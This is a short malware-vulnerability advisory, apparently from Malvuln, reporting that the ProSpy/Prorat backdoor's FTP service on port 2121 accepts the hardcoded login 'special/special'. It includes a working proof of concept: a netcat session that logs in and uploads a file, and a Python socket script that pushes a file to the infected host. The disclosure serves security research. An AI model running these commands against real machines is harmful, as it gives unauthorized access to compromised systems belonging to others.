Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/dec8f9042986d64e29d62effb482290b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.lkt
Vulnerability: Weak Hardcoded Password
Description: The ProSpy Server V1.9  malware runs an FTP component that listens on TCP port 2121. The FTP server requires authentication for remote user access. However, the username and password both use the word "special" which is both weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: dec8f9042986d64e29d62effb482290b
Vuln ID: MVID-2021-0360
Dropped files: dxdiag.exe
Disclosure: 10/04/2021

Exploit/PoC:
nc64.exe 192.168.18.125 2121
220 ProSpy FTP Server ready.
USER special
331 Password required for special.
PASS special
230 User special logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,23).
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49687
DOOM="DOOM.js"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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